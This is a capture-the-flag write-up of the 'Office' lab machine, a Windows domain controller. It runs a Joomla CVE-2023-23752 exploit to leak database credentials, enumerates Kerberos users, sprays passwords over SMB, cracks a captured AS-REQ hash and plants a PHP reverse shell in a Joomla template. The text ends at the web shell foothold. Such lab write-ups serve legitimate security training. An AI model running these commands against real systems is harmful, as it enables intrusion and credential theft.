Week 7. Office

TL;DR

This is a Windows Server 2022 machine running as DC. It is hosting a web site made with vulnerable Joomla 4.2.7 CMS (CVE-2023-23752). Exploiting this vulnerability we are able to dump a password from the MySQL database, and running a Kerbrute attack we can retrieve a list of domain usernames. Spraying these credentials we get access to an SMB share that stores a Wireshark capture file which contains a Kerberos AS-REQ frame. Inside the frame there is hash that can be cracked to find the Joomla administrator password. A low-priv shell is gained by uploading a PHP shell in Joomla templates. Finally, user flag is retrieved by moving laterally to user tstark. Regarding escalation, first we need to move laterally to user ppotts by uploading a malicious ODT that exploits a Libre Office vulnerability (CVE-2023-2255). Then move laterally to user hhogan by decrypting DPAPI vault credentials with Mimikatz. Finally, system privileges are gained abusing a permissive GPO.

KEYWORDS

Joomla CMS 4.2.7, CVE-2023-23752, Kerbrute, Wireshark, AS-REQ, Libre Office, CVE-2023-2255, , Active Directory, lateral movement, Mimikatz, DPAPI, GPO abuse.

REFERENCES

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla

https://www.cvedetails.com/cve/CVE-2023-23752

https://github.com/0xNahim/CVE-2023-23752

https://github.com/elweth-sec/CVE-2023-2255

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

https://github.com/byronkg/SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-18 05:42 EST
Nmap scan report for 10.10.11.3
Host is up, received user-set (0.15s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack
80/tcp    open  http             syn-ack
88/tcp    open  kerberos-sec     syn-ack
139/tcp   open  netbios-ssn      syn-ack
389/tcp   open  ldap             syn-ack
443/tcp   open  https            syn-ack
445/tcp   open  microsoft-ds     syn-ack
464/tcp   open  kpasswd5         syn-ack
593/tcp   open  http-rpc-epmap   syn-ack
636/tcp   open  ldapssl          syn-ack
3268/tcp  open  globalcatLDAP    syn-ack
3269/tcp  open  globalcatLDAPssl syn-ack
5985/tcp  open  wsman            syn-ack
9389/tcp  open  adws             syn-ack
49664/tcp open  unknown          syn-ack
49669/tcp open  unknown          syn-ack
49671/tcp open  unknown          syn-ack
49676/tcp open  unknown          syn-ack
55119/tcp open  unknown          syn-ack
58534/tcp open  unknown          syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 70.93 seconds

Looks like a domain controller, enumerate the open ports.

> nmap $target -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-18 05:55 EST
Nmap scan report for 10.10.11.3
Host is up, received user-set (0.11s latency).
Scanned at 2024-02-18 05:55:03 EST for 93s
 
PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
80/tcp   open  http          syn-ack Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-02-18 18:55:53Z)
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Issuer: commonName=office-DC-CA/domainComponent=office
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-10T12:36:58
| Not valid after:  2024-05-09T12:36:58
| MD5:   b83fab78db28734dde8411e9420f8878
| SHA-1: 36c4cedf91853d4c598c739a8bc7a0624458cfe4
| -----BEGIN CERTIFICATE-----
| MIIFyzCCBLOgAwIBAgITQAAAAAMdA83RpYN55AAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGb2ZmaWNl
| MRUwEwYDVQQDEwxvZmZpY2UtREMtQ0EwHhcNMjMwNTEwMTIzNjU4WhcNMjQwNTA5
| MTIzNjU4WjAYMRYwFAYDVQQDEw1EQy5vZmZpY2UuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA15Wa3dfyWK0+9iRvZ2H4VWeXwLq40Ee6jzcu8buW
| D/Hp4rubrQa5X2/iS3NdXMsxamygq4s7R5AJa9Ys3I7sm59ctlCo/vjVag0hbqhU
| 5qjBJ1GCQxdiaqRj3BqAO5Tbt9RUH9oeU/UQMzzUQqwKL/Z+twyh9aL6HDnbPXvM
| IeDewk5y/S6M8DlOc6ORZQfBg8NuroyiPYCNb1+WhednfBB0ahNFqzq2MTDLXMNM
| bLeX2zeO/+dgF1ohsQ9qhFyBtFSsaCMR33PMKNs7Iqji42+O5jVNCvUICelUroex
| 1VrC7ogW/JVSqHY4J+6mXZHJhn7xhu6rJKtFDHLeheheRQIDAQABo4IC4DCCAtww
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| MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8EBAMCBaAw
| eAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCA
| MAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsGCWCGSAFl
| AwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzA5BgNVHREEMjAwoB8GCSsGAQQBgjcZ
| AaASBBA2idyIqAZET5Xm5iLN7Fc3gg1EQy5vZmZpY2UuaHRiMB0GA1UdDgQWBBRS
| FLVfJhlc3XkBccZHJjyKvpRS1TAfBgNVHSMEGDAWgBRgOpmCFktRJECTymSHaes3
| Vx3p9jCBxAYDVR0fBIG8MIG5MIG2oIGzoIGwhoGtbGRhcDovLy9DTj1vZmZpY2Ut
| REMtQ0EsQ049REMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENO
| PVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9b2ZmaWNlLERDPWh0Yj9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaBnWxk
| YXA6Ly8vQ049b2ZmaWNlLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW9mZmljZSxE
| Qz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRp
| b25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBABw9WEKbYyfAE7PZ0Plb7lxB
| Ftvjpqh2Q9RkdSlxQNdWMfSsZozN6UNTG7mgJBB/T9vZpi8USJTGwf1EfygiDbm1
| yofBMvpqLAXg4ANvWXTDChYSumhlt7W+gJzTgWd4mgRp576acFojnNCqQRhYCD8r
| 6r/PIwlCDSwfLExxhQs7ZL3Jkqt/fP85ic3W9GuzwI9isPZmwsezP/korptA7utb
| sJHn2bydwf907VX2usW8yRmpuRZyvfsbYHYjJqFgohB5dh26ltEQz2vX6y4Mte4L
| 024aNx/gANh3F4gFXpGrAWdVxnHXc1QV9OVRHO+FAL30xdhosJ4D4HdRTDjCfqw=
|_-----END CERTIFICATE-----
443/tcp  open  ssl/http      syn-ack Apache httpd 2.4.56 (OpenSSL/1.1.1t PHP/8.0.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a44cc99e84b26f9e639f9ed229dee0
| SHA-1: b0238c547a905bfa119c4e8baccaeacf36491ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
| tls-alpn:
|_  http/1.1
|_http-title: 400 Bad Request
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Issuer: commonName=office-DC-CA/domainComponent=office
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-10T12:36:58
| Not valid after:  2024-05-09T12:36:58
| MD5:   b83fab78db28734dde8411e9420f8878
| SHA-1: 36c4cedf91853d4c598c739a8bc7a0624458cfe4
| -----BEGIN CERTIFICATE-----
| MIIFyzCCBLOgAwIBAgITQAAAAAMdA83RpYN55AAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGb2ZmaWNl
| MRUwEwYDVQQDEwxvZmZpY2UtREMtQ0EwHhcNMjMwNTEwMTIzNjU4WhcNMjQwNTA5
| MTIzNjU4WjAYMRYwFAYDVQQDEw1EQy5vZmZpY2UuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA15Wa3dfyWK0+9iRvZ2H4VWeXwLq40Ee6jzcu8buW
| D/Hp4rubrQa5X2/iS3NdXMsxamygq4s7R5AJa9Ys3I7sm59ctlCo/vjVag0hbqhU
| 5qjBJ1GCQxdiaqRj3BqAO5Tbt9RUH9oeU/UQMzzUQqwKL/Z+twyh9aL6HDnbPXvM
| IeDewk5y/S6M8DlOc6ORZQfBg8NuroyiPYCNb1+WhednfBB0ahNFqzq2MTDLXMNM
| bLeX2zeO/+dgF1ohsQ9qhFyBtFSsaCMR33PMKNs7Iqji42+O5jVNCvUICelUroex
| 1VrC7ogW/JVSqHY4J+6mXZHJhn7xhu6rJKtFDHLeheheRQIDAQABo4IC4DCCAtww
| LwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQBy
| MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8EBAMCBaAw
| eAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCA
| MAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsGCWCGSAFl
| AwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzA5BgNVHREEMjAwoB8GCSsGAQQBgjcZ
| AaASBBA2idyIqAZET5Xm5iLN7Fc3gg1EQy5vZmZpY2UuaHRiMB0GA1UdDgQWBBRS
| FLVfJhlc3XkBccZHJjyKvpRS1TAfBgNVHSMEGDAWgBRgOpmCFktRJECTymSHaes3
| Vx3p9jCBxAYDVR0fBIG8MIG5MIG2oIGzoIGwhoGtbGRhcDovLy9DTj1vZmZpY2Ut
| REMtQ0EsQ049REMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENO
| PVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9b2ZmaWNlLERDPWh0Yj9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaBnWxk
| YXA6Ly8vQ049b2ZmaWNlLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW9mZmljZSxE
| Qz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRp
| b25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBABw9WEKbYyfAE7PZ0Plb7lxB
| Ftvjpqh2Q9RkdSlxQNdWMfSsZozN6UNTG7mgJBB/T9vZpi8USJTGwf1EfygiDbm1
| yofBMvpqLAXg4ANvWXTDChYSumhlt7W+gJzTgWd4mgRp576acFojnNCqQRhYCD8r
| 6r/PIwlCDSwfLExxhQs7ZL3Jkqt/fP85ic3W9GuzwI9isPZmwsezP/korptA7utb
| sJHn2bydwf907VX2usW8yRmpuRZyvfsbYHYjJqFgohB5dh26ltEQz2vX6y4Mte4L
| 024aNx/gANh3F4gFXpGrAWdVxnHXc1QV9OVRHO+FAL30xdhosJ4D4HdRTDjCfqw=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Issuer: commonName=office-DC-CA/domainComponent=office
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-10T12:36:58
| Not valid after:  2024-05-09T12:36:58
| MD5:   b83fab78db28734dde8411e9420f8878
| SHA-1: 36c4cedf91853d4c598c739a8bc7a0624458cfe4
| -----BEGIN CERTIFICATE-----
| MIIFyzCCBLOgAwIBAgITQAAAAAMdA83RpYN55AAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGb2ZmaWNl
| MRUwEwYDVQQDEwxvZmZpY2UtREMtQ0EwHhcNMjMwNTEwMTIzNjU4WhcNMjQwNTA5
| MTIzNjU4WjAYMRYwFAYDVQQDEw1EQy5vZmZpY2UuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA15Wa3dfyWK0+9iRvZ2H4VWeXwLq40Ee6jzcu8buW
| D/Hp4rubrQa5X2/iS3NdXMsxamygq4s7R5AJa9Ys3I7sm59ctlCo/vjVag0hbqhU
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| 1VrC7ogW/JVSqHY4J+6mXZHJhn7xhu6rJKtFDHLeheheRQIDAQABo4IC4DCCAtww
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| MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8EBAMCBaAw
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| REMtQ0EsQ049REMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENO
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| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaBnWxk
| YXA6Ly8vQ049b2ZmaWNlLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
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| Qz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRp
| b25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBABw9WEKbYyfAE7PZ0Plb7lxB
| Ftvjpqh2Q9RkdSlxQNdWMfSsZozN6UNTG7mgJBB/T9vZpi8USJTGwf1EfygiDbm1
| yofBMvpqLAXg4ANvWXTDChYSumhlt7W+gJzTgWd4mgRp576acFojnNCqQRhYCD8r
| 6r/PIwlCDSwfLExxhQs7ZL3Jkqt/fP85ic3W9GuzwI9isPZmwsezP/korptA7utb
| sJHn2bydwf907VX2usW8yRmpuRZyvfsbYHYjJqFgohB5dh26ltEQz2vX6y4Mte4L
| 024aNx/gANh3F4gFXpGrAWdVxnHXc1QV9OVRHO+FAL30xdhosJ4D4HdRTDjCfqw=
|_-----END CERTIFICATE-----
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: office.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.office.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.office.htb
| Issuer: commonName=office-DC-CA/domainComponent=office
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-10T12:36:58
| Not valid after:  2024-05-09T12:36:58
| MD5:   b83fab78db28734dde8411e9420f8878
| SHA-1: 36c4cedf91853d4c598c739a8bc7a0624458cfe4
| -----BEGIN CERTIFICATE-----
| MIIFyzCCBLOgAwIBAgITQAAAAAMdA83RpYN55AAAAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGb2ZmaWNl
| MRUwEwYDVQQDEwxvZmZpY2UtREMtQ0EwHhcNMjMwNTEwMTIzNjU4WhcNMjQwNTA5
| MTIzNjU4WjAYMRYwFAYDVQQDEw1EQy5vZmZpY2UuaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA15Wa3dfyWK0+9iRvZ2H4VWeXwLq40Ee6jzcu8buW
| D/Hp4rubrQa5X2/iS3NdXMsxamygq4s7R5AJa9Ys3I7sm59ctlCo/vjVag0hbqhU
| 5qjBJ1GCQxdiaqRj3BqAO5Tbt9RUH9oeU/UQMzzUQqwKL/Z+twyh9aL6HDnbPXvM
| IeDewk5y/S6M8DlOc6ORZQfBg8NuroyiPYCNb1+WhednfBB0ahNFqzq2MTDLXMNM
| bLeX2zeO/+dgF1ohsQ9qhFyBtFSsaCMR33PMKNs7Iqji42+O5jVNCvUICelUroex
| 1VrC7ogW/JVSqHY4J+6mXZHJhn7xhu6rJKtFDHLeheheRQIDAQABo4IC4DCCAtww
| LwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQBy
| MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNVHQ8BAf8EBAMCBaAw
| eAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQCAgCA
| MAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUDBAECMAsGCWCGSAFl
| AwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzA5BgNVHREEMjAwoB8GCSsGAQQBgjcZ
| AaASBBA2idyIqAZET5Xm5iLN7Fc3gg1EQy5vZmZpY2UuaHRiMB0GA1UdDgQWBBRS
| FLVfJhlc3XkBccZHJjyKvpRS1TAfBgNVHSMEGDAWgBRgOpmCFktRJECTymSHaes3
| Vx3p9jCBxAYDVR0fBIG8MIG5MIG2oIGzoIGwhoGtbGRhcDovLy9DTj1vZmZpY2Ut
| REMtQ0EsQ049REMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENO
| PVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9b2ZmaWNlLERDPWh0Yj9jZXJ0
| aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJp
| YnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaBnWxk
| YXA6Ly8vQ049b2ZmaWNlLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW9mZmljZSxE
| Qz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRp
| b25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBABw9WEKbYyfAE7PZ0Plb7lxB
| Ftvjpqh2Q9RkdSlxQNdWMfSsZozN6UNTG7mgJBB/T9vZpi8USJTGwf1EfygiDbm1
| yofBMvpqLAXg4ANvWXTDChYSumhlt7W+gJzTgWd4mgRp576acFojnNCqQRhYCD8r
| 6r/PIwlCDSwfLExxhQs7ZL3Jkqt/fP85ic3W9GuzwI9isPZmwsezP/korptA7utb
| sJHn2bydwf907VX2usW8yRmpuRZyvfsbYHYjJqFgohB5dh26ltEQz2vX6y4Mte4L
| 024aNx/gANh3F4gFXpGrAWdVxnHXc1QV9OVRHO+FAL30xdhosJ4D4HdRTDjCfqw=
|_-----END CERTIFICATE-----
5985/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        syn-ack .NET Message Framing
Service Info: Hosts: DC, www.example.com; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
|_clock-skew: 8h00m43s
| smb2-time:
|   date: 2024-02-18T18:56:37
|_  start_date: N/A
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 45891/tcp): CLEAN (Timeout)
|   Check 2 (port 15731/tcp): CLEAN (Timeout)
|   Check 3 (port 58167/udp): CLEAN (Timeout)
|   Check 4 (port 52719/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   311:
|_    Message signing enabled and required
 
Nmap done: 1 IP address (1 host up) scanned in 95.36 seconds

DNS enumeration.

> nslookup
 
> server 10.10.11.3
Default server: 10.10.11.3
Address: 10.10.11.3#53
> office.htb
Server:         10.10.11.3
Address:        10.10.11.3#53
 
Name:   office.htb
Address: 10.250.0.30
Name:   office.htb
Address: 10.10.11.3
> dc.office.htb
Server:         10.10.11.3
Address:        10.10.11.3#53
 
Name:   dc.office.htb
Address: 10.10.11.3

Add to /etc/hosts and enumerate the robots.txt file (http://office.htb/robots.txt).

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Navigate to http://office.htb/administrator, a Joomla CMS login page comes into view.

Investigate ways to pentest Joomla here: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla

They explain how to enumerate the current Joomla version. By navigating to http://office.htb/administrator/manifests/files/joomla.xml you can verify the running version is 4.2.7.

At this point we have everything we need to start the exploitation phase. In summary, we have found an Active Directory domain controller running a website made with Joomla CMS 4.2.7.

USER

Searching for Joomla 4.2.7 vulnerabilities, we come across this one: https://www.cvedetails.com/cve/CVE-2023-23752. And this PoC allows to dump MySQL secrets from Joomla websites: https://github.com/0xNahim/CVE-2023-23752

Run the exploit against the host and retrieve MySQL root credentials.

> python3 exploit.py -u http://office.htb
 
[474] Tony Stark (Administrator) - Administrator@holography.htb - Super Users
Site info
Sitename:Holography Industries
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
 
Database info
DB type: mysqli
DB host: localhost
DB user: root
DB password: H0lOgrams4reTakIng0Ver754!
DB name: joomla_db
DB prefix: if2tx_
DB encryption: 0

We have a password, now we need a list of usernames to spray it. For this, launch an attack with kerbrute

> kerbrute userenum --dc office.htb -d office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

After a while, a list of usernames is dumped by the tool.

administrator@office.htb
Administrator@office.htb
etower@office.htb
ewhite@office.htb
dwolfe@office.htb
dlanor@office.htb
dmichael@office.htb
hhogan@office.htb
DWOLFE@office.htb
DLANOR@office.htb
tstark@office.htb

Let's spray the password we previously found in SMB with the username list.

> crackmapexec smb office.htb -d office -u ./userlist -p 'H0lOgrams4reTakIng0Ver754!' --continue-on-success
SMB         10.10.11.3      445    DC               [*] Windows 10.0 Build 20348 (name:DC) (domain:office) (signing:True) (SMBv1:False)
SMB         10.10.11.3      445    DC               [-] office\administrator:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office\ewhite:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office\etower:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [+] office\dwolfe:H0lOgrams4reTakIng0Ver754!
SMB         10.10.11.3      445    DC               [-] office\dmichael:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office\dlanor:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office\hhogan:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE
SMB         10.10.11.3      445    DC               [-] office\tstark:H0lOgrams4reTakIng0Ver754! STATUS_LOGON_FAILURE

Log into the share as user dwolfe using credentials, there is a capture .pcap file, download it.

> smbclient \\\\office.htb\\'SOC Analysis' -U dwolfe%H0lOgrams4reTakIng0Ver754!
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed May 10 14:52:24 2023
  ..                                DHS        0  Wed Feb 14 05:18:31 2024
  Latest-System-Dump-8fbc124d.pcap      A  1372860  Sun May  7 20:59:00 2023
 
                6265599 blocks of size 4096. 1120672 blocks available
smb: \> get Latest-System-Dump-8fbc124d.pcap
getting file \Latest-System-Dump-8fbc124d.pcap of size 1372860 as Latest-System-Dump-8fbc124d.pcap (223.6 KiloBytes/sec) (average 223.6 KiloBytes/sec)
smb: \> exit

Open the capture with Wireshark and filter by Kerberos protocol, turns out an AS-REQ packet has been captured.

If you remember Kerberos theory, the user sends a timestamp encoded with the NTLM hash when a TGT is requested (this is an AS-REQ request) . In this case, Wireshark provides the encoded timestamp (padata-value) and the cipher used to encode it, this is the user's NTLM hash. Wireshark also indicates the timestamp has been encoded using AES-256.

The cipher (i.e. the user NTLM hash) can be cracked it with module 19900. For this, prepare the hash in a readable format according to https://hashcat.net/wiki/doku.php?id=example_hashes

After crafting and testing a hash for any username previously disclosed, we find out the only crackable hash belongs to user tstark

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

Credential is cracked with module 19900.

> hashcat -m 19900 -a 0 -d 1 hash.txt .\rockyou.txt

Which can be used to log into the Joomla (user administrator) login portal.

Once inside the dashboard, follow the same procedure as in the Devvortex machine (Week 9. Devvortex). Navigate to System -> Site templates, move to the "Cassiopeia" template and overwrite the error.php file with a PHP reverse shell.

In this case, we chose a "PHP Simon Sincek" reverse shell from http://www.revshells.com (PHP PentestMonkey did not work).

Save and close, then trigger the reverse shell by navigating to http://office.htb/templates/cassiopeia/error.php

A reverse shell is received on port 1919.

C:\xampp\htdocs\joomla\templates\cassiopeia> whoami
 
office\web_account

